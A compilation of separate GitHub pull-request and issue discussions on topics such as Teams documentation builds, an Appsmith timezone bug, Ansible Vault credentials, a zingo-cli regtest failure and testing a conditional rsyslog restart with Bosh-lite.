Preview URL
Details

msteams-platform/m365-apps/extend-m365-teams-message-extension.md
:white_check_mark:Succeeded
View

msteams-platform/m365-apps/extend-m365-teams-personal-tab.md
:white_check_mark:Succeeded
View

msteams-platform/m365-apps/images/outlook-teams-link-unfurling.png
:white_check_mark:Succeeded
View

msteams-platform/m365-apps/overview.md
:white_check_mark:Succeeded
View

msteams-platform/m365-apps/publish.md
:white_check_mark:Succeeded
View

For more details, please refer to the build report.
Note: Broken links written as relative paths are included in the above build report. For broken links written as absolute paths or external URLs, see the broken link report.
For any questions, please:Try searching the learn.microsoft.com contributor guidesPost your question in the Learn support channel

@v-habibaumme @surbhigupta12 We're ready to merge/publish this whenever you are. Thanks!

Acrolinx Scorecards
We currently enforce a minimum score of 80.
Click the scorecard links for each article to review the Acrolinx feedback on grammar, spelling, punctuation, writing style, and terminology:

Article
Score
Issues
Scorecard
Processed

msteams-platform/m365-apps/extend-m365-teams-message-extension.md
96
12
link
:white_check_mark:

msteams-platform/m365-apps/extend-m365-teams-personal-tab.md
93
23
link
:white_check_mark:

msteams-platform/m365-apps/overview.md
91
9
link
:white_check_mark:

msteams-platform/m365-apps/publish.md
90
8
link
:white_check_mark:

More info about Acrolinx
Use the Acrolinx extension, or sidebar, in Visual Studio Code to check spelling, grammar, style, tone, clarity, and key terminology when you're creating or updating content. For more information, see Use the Visual Studio Code extension to run Acrolinx locally.

Learn Build status updates of commit 3e1fc7a:
:white_check_mark: Validation status: passed

File
Status
Preview URL
Details

msteams-platform/m365-apps/extend-m365-teams-message-extension.md
:white_check_mark:Succeeded
View

msteams-platform/m365-apps/extend-m365-teams-personal-tab.md
:white_check_mark:Succeeded
View

msteams-platform/m365-apps/images/outlook-teams-link-unfurling.png
:white_check_mark:Succeeded
View

msteams-platform/m365-apps/overview.md
:white_check_mark:Succeeded
View

msteams-platform/m365-apps/publish.md
:white_check_mark:Succeeded
View

For more details, please refer to the build report.
Note: Broken links written as relative paths are included in the above build report. For broken links written as absolute paths or external URLs, see the broken link report.
For any questions, please:Try searching the learn.microsoft.com contributor guidesPost your question in the Learn support channel

Learn Build status updates of commit 47d1c33:
:white_check_mark: Validation status: passed

File
Status
Preview URL
Details

msteams-platform/m365-apps/extend-m365-teams-message-extension.md
:white_check_mark:Succeeded
View

msteams-platform/m365-apps/extend-m365-teams-personal-tab.md
:white_check_mark:Succeeded
View

msteams-platform/m365-apps/images/outlook-teams-link-unfurling.png
:white_check_mark:Succeeded
View

msteams-platform/m365-apps/overview.md
:white_check_mark:Succeeded
View

msteams-platform/m365-apps/publish.md
:white_check_mark:Succeeded
View

For more details, please refer to the build report.
Note: Broken links written as relative paths are included in the above build report. For broken links written as absolute paths or external URLs, see the broken link report.
For any questions, please:Try searching the learn.microsoft.com contributor guidesPost your question in the Learn support channel


Added configurable fee-per-vB to PoP Miner

This adds the environment variable POPM_STATIC_FEE which can be used to configure a specific fee level for the PoP Miner to use.
Longer-term, BFG needs an RPC method for getting current network fee levels.

Guys, this really needs to not be a knob and be calculated.


Update g2p

Brings in the latest from master into G2P. @jeromekelleher

Thanks @david4096, +1 (assuming CI passes).
Merge at will


[Bug]: Timezone information is added to dates from a MySQL query

Is there an existing issue for this?

[X] I have searched the existing issues

Description
I am storing a date/time in a MySQL column that is set as DATETIME. DATETIME in MySQL doesn’t include timezone information, and when I look at the value stored in the field in MySQL it looks like this 2024-01-24 13:00:00. When I run a query in MySQL workbench the result looks like this 2024-01-24 13:00:00. When run a query in AppSmith however, the returned value looks like this 2024-01-24T13:00:00Z. I have tried with Use prepared statement on and off – no difference.
This then messes up the date when I use it in Appsmith. Interestingly enough, if I view the date in a table widget with the column field set to date, the correct date displays (2024-01-24 13:00:00), but if I load it up in a Date Picker object as the default date it displays incorrectly (with the timezone information applied). Funnily enough, I initially selected this date through a date picker widget and used this value to store it in the database.
I initially thought the issue was with MySQL – but now I’m not so sure.
The timezone is always assumed to be UTC, even if that isn't the case in the stored value.
Database Query:

Appsmith Query:

Steps To Reproduce

Insert a date into a MySQL database with the following format: 2024-01-24 13:00:00
Select the value from an Appsmith query and observe that the returned value contains T and Z: 2024-01-24T13:00:00Z

Public Sample App
https://app.appsmith.com/app/datetime-demo/page1-65976934281eed43dd277ecb/edit
Environment
Production
Issue video log
No response
Version
Cloud 1.9.59-SNAPSHOT
 Front conversations

@LagunaElectric this isn't really an issue, it's just that we're formatting it and showing it with the timezone. In the datepicker the value that is shown is dependent on the display format.

@Nikhil-Nandagopal It's adding timezone information where there was none previously, and assuming UTC even if that isn't the case. See this message from a user:

I encountered this issue too (fairly new to Appsmith). Our db server is set to Pacific Time, all our date-time fields contain Pacific values, and yet Appsmith always adds the "T" and "Z" (without changing the value) as if it were UTC.
For display purposes, we always set the format for the date element or table column away from the ISO format so at least it displays properly. Unfortunately the value in the field is still in ISO+UTC format, even if displayed properly.
So when updating into the db, we have to convert it, eg:
SET date_field=DATE(STR_TO_DATE({{comEditDate.selectedDate}},'%Y-%m-%d T%T.000Z')),NULL)
It would be great if Appsmith didn't always convert to ISO+UTC format.

This is making it a hassle to work with and manage stored dates that don't contain timezone information. There are two users in the attached Front thread with this issue.
The user came up with a workaround:

Just another quick update - I am now working around this (from a display perspective) by modifying my AppSmith SQL query to append the timezone offset my for location to the value returned from MySQL (something like - select id, CONCAT(mydate, '+13:00') AS mydate from demo;). Seems to make the datepicker widget happy and now displays the correct date as stored (until DST comes along) as +13:00 is the same timezone offset as my PC/browser. Not too sustainable probably, but works for now 🙂

But that doesn't work for the second user:

Unfortunately that workaround wouldn't work, since as Gav said, hardcoding an hour offset doesn't account for DST and is a hassle if the db server changes timezones.
Otherwise, my workaround of using the SQL function STR_TO_DATE works for updating the db.

Looks like we are doing some weird conversion or offset in the displaying of the datetime field. Could this be the reason?
Please watch with audio on:
https://github.com/appsmithorg/appsmith/assets/94514895/3ed2e7ff-4a8d-4596-8cf9-fac290bb8659
As for the query itself, although the format is off, the read and write of the dates is faithful to whatever the user entered, as can be seen in the sql client query in my demo video.


[Feature Request] Support for monorepos

Background:
My monorepo workspace root has a tslint.json file with common lint config. Child projects have their own tslint.json files, which extend the root config ("extends": "../../tslint.json").

root

tslint.json
libs

project1

tslint.json
foo.ts

project2

tslint.json

Problem:
When foo.ts is open, the root config is used rather than the corresponding child config.
Solution:
Instead of using the config at the root directory, it should walk up the tree until it finds a tslint.json and use that instead.

Works when updating code then restarting vscode


Ember 2.12 Upgrade

This project uses semver, please check the scope of this pr:

[ ] #none# - documentation fixes and/or test additions
[ ] #patch# - backwards-compatible bug fix
[x] #minor# - adding functionality in a backwards-compatible manner
[ ] #major# - incompatible API change

CHANGELOG

Upgraded to Ember 2.12.

Approved - just to clarify for anyone looking at this review - the LTS recommendation for Frost is still 2.8

Sorry - hold on this for a minute, a few questions incoming

Lets make sure we get all of the updates: I noticed that the update from 2.11 to the resolvers are still not in...
https://github.com/ciena-frost/ember-frost-object-browser/pull/113/files#diff-5265b30549af2bba1fba0ab3b2165e54
https://github.com/ciena-frost/ember-frost-object-browser/pull/113/files#diff-2be9329279338d3d4f10bea51caa639e

It looks like we may be in for a bunch of pain given all pre-2.12 CI builds fail (I'm guessing because we switch from an ember bower dependency to the ember-source npm dependency)

As a general comment not directed at @sandersky (thanks for doing this upgrade):
When upgrading please run ember init and look closely at the diffs. The small changes to paths are easy to miss.

@juwara0 I don't suppose we can script those changes?  I've done them before far too many times and it's painstaking to do the file by file compare even if it is necessary

...or at least say - these x are fine to overwrite - pay attention to y

I ran ember init but it overwrites entire files rather than applying changes to them so it is quite possible I just missed the changes in the the process and thus didn't keep them. The fact ember init does this makes for some really lousy DX.

When running ember-init it will give you several choices. One of which is to see a diff. I select this option so I can see if the changes are just our removal of semicolons, moving order of imports, etc... or something that is needed. For the needed changes, I open the file and make those changes myself.


place credentials in separate file that can be encrypted using vault

@altvnk any concerns on this?

There concerns, it's a good idea. I just need to try it. Maybe you can provide some usage examples?

This encrypts the actual file so if you have files that include passwords or SSL Certs, SSH Keys, etc.
reference: http://docs.ansible.com/ansible/playbooks_vault.html#creating-encrypted-files
ansible-vault encrypt group_vars/all/secure.yml

You provide a password, and I have a a setup such that the root directory includes a directory called .vault with a file named vault-password.txt that I store empty within my project. It is provided by those with access to that password before running it.
Then I add the following to ansible.cfg:
vault_password_file = .vault/vault-password.txt

This change is an enabler such that the password is stored separately so that it is not necessary to encrypt all variables. Also we can use this to encrypt a terraform variable file that includes Openstack credentials so that all files with security needs are able to be encrypted and source controlled, and then ultimately only one password is needed to deploy.
So the above changes I mentioned can be done, but this PR was just to start down the path to enable leverage ansible vault.


regtest mode isn't working for me

I ran cargo build against this commit:
64ae88b494c680597dfcdb1b0bca776830458828
Then I ran the following (after symlinking as directed in the README):
./target/debug/zingo-cli --regtest --data-dir regtest/datadir/zingo --server=<IP_ADDRESS>:9067
zcashd datadir: --datadir=/home/mherder/src/zingolabs/zingolibs/dev/regtest/datadir/zcash/
zcashd conf file: --conf=/home/mherder/src/zingolabs/zingolibs/dev/regtest/conf/zcash.conf
zcashd is starting in regtest mode, please standby about 10 seconds...
zcashd start section completed, zcashd should be running.
Standby, lightwalletd is about to start. This should only take a moment.
Using config file: /home/mherder/src/zingolabs/zingolibs/dev/regtest/conf/lightwalletdconf.yml
Starting insecure server
lwd start section completed, lightwalletd should be running!
Standby, Zingo-cli should be running in regtest mode momentarily...
Error during startup:Error with response: Status { code: Unavailable, message: "error trying to connect: tcp connect error: Connection refused (os error 111)", source: Some(hyper::Error(Connect, ConnectError("tcp connect error", Os { code: 111, kind: ConnectionRefused, message: "Connection refused" }))) }
If you repeatedly run into this issue, you might have to restore your wallet from your seed phrase.

I see this, I am attempting to engage in support on a more synchonous channel.
My own build of 64ae88 is working locally.

My first thought is that the wait times to load the daemons are not sufficient with the combination of hardware and other loads on the system's resources. This type of issue should be fixed with #33 and #36 fixes, which is currently what I'm working on.
Until then you could patch the wait times to be longer, which is not great, but before the feature is ready it seems like a simple solution to get things working. You'll want to make sure all background daemons are manually killed that were spawned by previous attempts.
We should also find out exactly which versions of zcashd and lightwalletd we're making our binaries from if the problem persists past the above to try to isolate the issue.

It turns out that it's looking for parameters.

It turns out that it's looking for parameters.

Could you elaborate, please?

As this issue was caused by an error with zcashd booting, we will follow up with #27 !


Improve BlockProposer state caching and retrieval

Currently the BlockProposer only caches its state every time it prunes that state, on a repeating timer of 10 second intervals.  That gives a window of up to 10 seconds-worth of recently enqueued deploys which will not be saved if the node stops running, and hence will not be re-enqueued on the next startup.  We need to either 1. update the stored state on every new deploy enqueued, or 2. update the node architecture so that components have an opportunity to store their state before the reactor and storage component are shut down, or 3. don't store the pending deploys as "state", but rather just build up the equivalent info on startup by querying the storage's deploy store.
These all have drawbacks: 1. is not feasible without a rework of how state is stored (we don't want to overwrite a collection of several thousand deploys' info on every single new deploy), 2. will probably be somewhat complex, and might still not be the best option in that it will require the node to exit gracefully in order to cache the state, and 3. is probably prohibitively expensive without an additional index/db specifically for this purpose.

The block proposer does not exist any more. It was replaced by transaction buffer which does not have this problem.


About the communication link

Hi, I have run the readData_AWR1642.py and it does not send the commands to the radar. We have used the mmWave studio and the radar works properly. Do you have any suggestions?
Many thanks,
Jiang

Sorry for not responding. I might have missed the notification.
You probably solved it, but if you are using SDK 3.X, you should use this other repository instead, and create a new .config file from the demo visualizer:
https://github.com/ibaiGorordo/AWR1843-Read-Data-Python-MMWAVE-SDK-3-

Ibai, is your actualized SDK 3.X version also compatible for the AWR1642?

Ibai, is your actualized SDK 3.X version also compatible for the AWR1642?

As long as your board has the SDK 3.X flashed. Despite the naming of the repositories, the important part is which SDK is flashed.

Perfect, thank you


[#132082633] Conditionally restart rsyslog

What
#132082633 - Router HAProxy restarts rsyslog without reason
We want to reduce the number of unnecessary restarts of rsyslog, as the amount of time it takes to restart has been known to cause deployment failures.
A condition which only restarts rsyslog if the configuration file has changed has been added.
How to review
Important: Before merging, make sure the temporary commit is removed.
This is a small change so testing should be done with Bosh-lite to avoid the time it takes to create a release and deploy it in the pipeline:

Check that you have vagrant, Virtualbox, and the Bosh CLI installed (you can install bosh_cli with gem install bosh_cli).

Start bosh-lite:
git clone https://github.com/cloudfoundry/bosh-lite && cd bosh-lite
vagrant up

bosh target <IP_ADDRESS> lite # Login: admin Pass: admin

Upload the stemcell:
bosh upload stemcell https://bosh.io/d/stemcells/bosh-warden-boshlite-ubuntu-trusty-go_agent?v=3262.2

Build the release.
cd to the paas-haproxy-release repository, check out this branch and run:
bosh create release --with-tarball
# Change the following path to your created release
bosh upload release /Users/henryknott/paas/repositories/paas-haproxy-release/dev_releases/haproxy/haproxy-0+dev.3.tgz

cd back to your bosh-lite directory and log into the virtual machine:
vagrant ssh

Generate the manifest:
cat > /tmp/manifest.yml <<EOF
---
name: release-test
director_uuid: DIRECTOR_UUID

releases:
- name: haproxy
  version: latest

networks:
- name: default
  subnets:
  - range: <IP_ADDRESS>/28
    reserved: [<IP_ADDRESS>]
    static: [<IP_ADDRESS>,<IP_ADDRESS>,<IP_ADDRESS>]
    cloud_properties:
      name: random

resource_pools:
- name: default
  stemcell:
    name: bosh-warden-boshlite-ubuntu-trusty-go_agent
    version: "3262.2"
  network: default
  cloud_properties: {}

compilation:
  workers: 2
  network: default
  cloud_properties: {}

update:
  canaries: 1
  canary_watch_time: 60000
  update_watch_time: 60000
  max_in_flight: 2

jobs:
- name: router
  templates:
  - name: haproxy
    release: haproxy
  instances: 1
  resource_pool: default
  networks:
  - name: default
    static_ips:
    - <IP_ADDRESS>
EOF

Change DIRECTOR_UUID to whatever bosh status --uuid yields.

Deploy:
bosh deployment /tmp/manifest.yml
bosh deploy

SSH into the virtual machine:
bosh ssh router
sudo su -

Check the start time of the rsyslogd process:
ps aux | grep rsyslogd

Restart haproxy. When you check the start time of the rsyslogd process it should be the same:
monit restart haproxy
watch monit summary    # until it is running
ps aux | grep rsyslogd # the start time should not have changed

Add any kind of change to this file: /var/vcap/jobs/haproxy/config/haproxy_syslog.conf and restart haproxy as above. The rsyslogd process should have restarted this time.

How to merge

Remove the temporary commit
Merge as normal
Delete the remote branch
Tag the merge commit as 0.0.5 and push the tag

At the time of writing no corresponding paas-cf pull request has been raised. This is because this release can be tested in isolation using Bosh-lite
Who
Anyone but me

Works as described.
Nice test description! :+1:

Removed commit

Added tags


HIVE-24814: Harmonize Hive Date-Time Formats

What changes were proposed in this pull request?

Why are the changes needed?

Does this PR introduce any user-facing change?

How was this patch tested?

Hey @belugabehr can you please take another look on the .out diffs?

@pgaref Thanks for your interest (as always).
The Time parsing/formatting code is all over the place in Hive.  Did you know there are some areas of the code that allow for 10 digits of nanos, by truncating the last digit, but not others?
I am trying to consolidate all that stuff and bring it into one place for visibility and trying to harmonize it with the pre-canned ISO formats already included in the JDK.  The less Hive-specific stuff regarding time handling, the better.  I also plan on adding copious documentation once I get the unit tests all working.  I know some of them are broken.  I'm having a pretty hard time figuring out where they are going wrong.
And yes ISO_LOCAL_TIME includes an optional NANO field.  This will be mentioned in comments.